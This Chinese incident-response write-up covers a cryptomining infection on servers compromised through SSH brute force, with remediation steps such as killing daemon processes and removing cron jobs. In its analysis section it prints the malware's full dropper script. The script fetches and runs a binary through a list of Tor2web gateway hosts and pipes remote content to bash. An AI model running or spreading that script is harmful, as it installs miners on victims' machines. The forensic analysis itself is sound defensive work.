记一次挖矿病毒的应急响应与分析

华盟原创文章投稿奖励计划
0x00:写在前面

2020年2月21日,我司接到客户安全事件报警。从2月21日下午开始,客户安全设备监控到大量安全事件日志告警,主要表现为某运营管理系统内三台服务器短时间内通过SSH访问内网其他主机达400多次,遂立即派出专业应急小组进行应急响应处理。

0x01:安全事件分析

接入服务器后发现CPU使用率飚高,top命令查看系统进程占用资源情况。

记一次挖矿病毒的应急响应与分析发现名为XeNtm2的进程占用进程过高。
查看其进程通信情况得知IP:136.243.90.99。记一次挖矿病毒的应急响应与分析查看威胁情报发现此IP是恶意矿池地址。记一次挖矿病毒的应急响应与分析微步在线提供相关事件链接:(2019/4/26 发生,和本次情况不同) 。

https://blog.netlab.360.com/systemdminer-propagation-through-ddg/

按照常规的木马特性,查看系统定时文件/etc/cron.d和执行crontab -l。记一次挖矿病毒的应急响应与分析查看/root/.kpccv.sh文件并分析。

exec &>/dev/nullexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbint=tencentxjy5kpccvdir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;donex() {f=/intd=./$(date|md5sum|cut -f1 -d-)wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$dchmod +x $d;$d;rm -f $d}u() {x=/crnwget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x}for h in tor2web.io d2web.org onion.mn tor2web.to onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.wsdoif ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; thenx tencentxjy5kpccv.$helsebreakfidoneif ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then(u $t.tor2web.io ||u $t.d2web.org ||u $t.onion.mn ||u $t.tor2web.to ||u $t.onion.to ||u $t.onion.in.net ||u $t.4tor.ml ||u $t.onion.glass ||u $t.civiclink.network ||u $t.tor2web.su ||u $t.onion.ly ||u $t.onion.pet ||u $t.onion.ws)|bashfi

以下为挖矿执行脚本注解。记一次挖矿病毒的应急响应与分析记一次挖矿病毒的应急响应与分析

分析得知木马if判断/proc/木马文件/io是否存在来执行X函数从以下站点trumps4c4ohxvq7o.**.**下载int客户端木马。

$t.tor2web.io$t.d2web.org$t.onion.mn$t.tor2web.to$t.onion.to$t.onion.in.net$t.4tor.ml$t.onion.glass$t.civiclink.network$t.tor2web.su$t.onion.ly$t.onion.pet$t.onion.ws

0x02:应急响应措施
1:取消挖矿程序定时任务
#crontab -e
删除20 * * * * /root/.kpccv.sh > /dev/null 2>&1 &保存退出。记一次挖矿病毒的应急响应与分析删除/etc/cron.d下的定时任务,并一并删除/opt/下的木马文件。
2:结束挖矿进程#top //查看 CPU 使用率最高的进程#kill -9 PID 进程号 //结束挖矿进程记一次挖矿病毒的应急响应与分析3:删除挖矿执行脚本#rm /root/.kpccv.sh记一次挖矿病毒的应急响应与分析
0x03:抑制观察阶段

通过实施取消挖矿程序定时任务、结束挖矿进程、删除挖矿执行脚本以 后,应急响应小组成员经过半个小时观察时间,发现挖矿程序定时任务隔段时 间还会自动生成(20-30 分钟之间),经过几次反复确认,怀疑挖矿病毒存在守护进程。

1:查看系统守护进程

#ps -eo ppid,pid,sid,stat,tty,comm | awk '{ if ($2 == $3 && $5 == "?") {print $0}; }'

经过分析排查最终确认i00Zdo和yL86sB两个进程较为可疑,疑似是挖矿守护进程(注:挖矿进程的文件名每次都是随机生成的6位)。

记一次挖矿病毒的应急响应与分析lsof查看这两个进程的文件调用关系,发现数个可疑文件。记一次挖矿病毒的应急响应与分析此时再来对死灰复燃的挖矿主进程进行lsof文件调用分析。top和pstree查找此挖矿主进程。

记一次挖矿病毒的应急响应与分析

很清晰可以看到占用CPU很高的进程。
记一次挖矿病毒的应急响应与分析

lsof -p 129053,发现可疑的启动文件/tmp/.X11-unix/11,经过确认其链接的是挖矿主进程,/tmp/.X11-unix/00为挖矿守护进程(注:挖矿守护进程除了会判断系统挖矿主进程是否被杀掉重新下载生成之后,设置系统定时任务和执行扫描程序应该都在该进程下执行,进一步结论验证需对挖矿守护进程样本程序进行逆向分析)

查看可疑文件如下。记一次挖矿病毒的应急响应与分析记一次挖矿病毒的应急响应与分析

经过以上分析判断,确认/tmp/.X11-unix/11 链接的是挖矿主进程,/tmp/.X11-unix/00 链接的是挖矿守护进程。

0x04:彻底根除措施1:结束挖矿守护进程

# ps -eo ppid,pid,sid,stat,tty,comm | awk '{ if ($2 == $3 && $5 == "?") {print $0}; }'

记一次挖矿病毒的应急响应与分析# kill -9 PID 进程号2:删除挖矿程序定时任务#crontab -e删除以下语句
20 * * * * /root/.kpccv.sh > /dev/null 2>&1 &
保存退出以后在查看更新后的定时文件#crontab -l 记一次挖矿病毒的应急响应与分析定时任务被彻底清除。
3:删除挖矿执行脚本
rm -rf /root/.kpccv.sh //注:后续发现该挖矿执行脚本存在变种病毒(一共13台挖矿程序下载服务器,挖矿执行脚本会循环遍历访问下载,下载的挖矿病毒会根据访问的服务器不同而存在差异),除了会在/root/目录下生成挖矿执行脚本 还会在/opt/目录下生成挖矿执行脚本(/etc/cron.d/目录下会生成定时任务执行程序)。
0x05:根除观察阶段

通过实施以上根除措施以后,应急响应小组成员经过近 1 个小时观察时 间,确定此次目标系统服务器系统资源已持续稳定运行并且未在生成挖矿定时任务和出现挖矿进程。

记一次挖矿病毒的应急响应与分析
0x06:攻击溯源分析

通过分析日志可知,服务器是通过ssh爆破方式被root账号沦陷的。

记一次挖矿病毒的应急响应与分析

可疑网络通讯分析(多次发现挖矿进程的远端通讯 IP 地址为136.243.90.99:8080(德国 萨克森自由州))

记一次挖矿病毒的应急响应与分析整个攻击流程图如下。记一次挖矿病毒的应急响应与分析0x07:写在最后

常见此类挖矿工木马大部分都是通过批量扫描,然后通过redis未授权访问,weblogic漏洞、Hadoop、Spark配置不当、SSH弱口令进行木马种植,从而实现肉鸡操控。

本文来源星云博创,经授权后由七月的肥猫发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论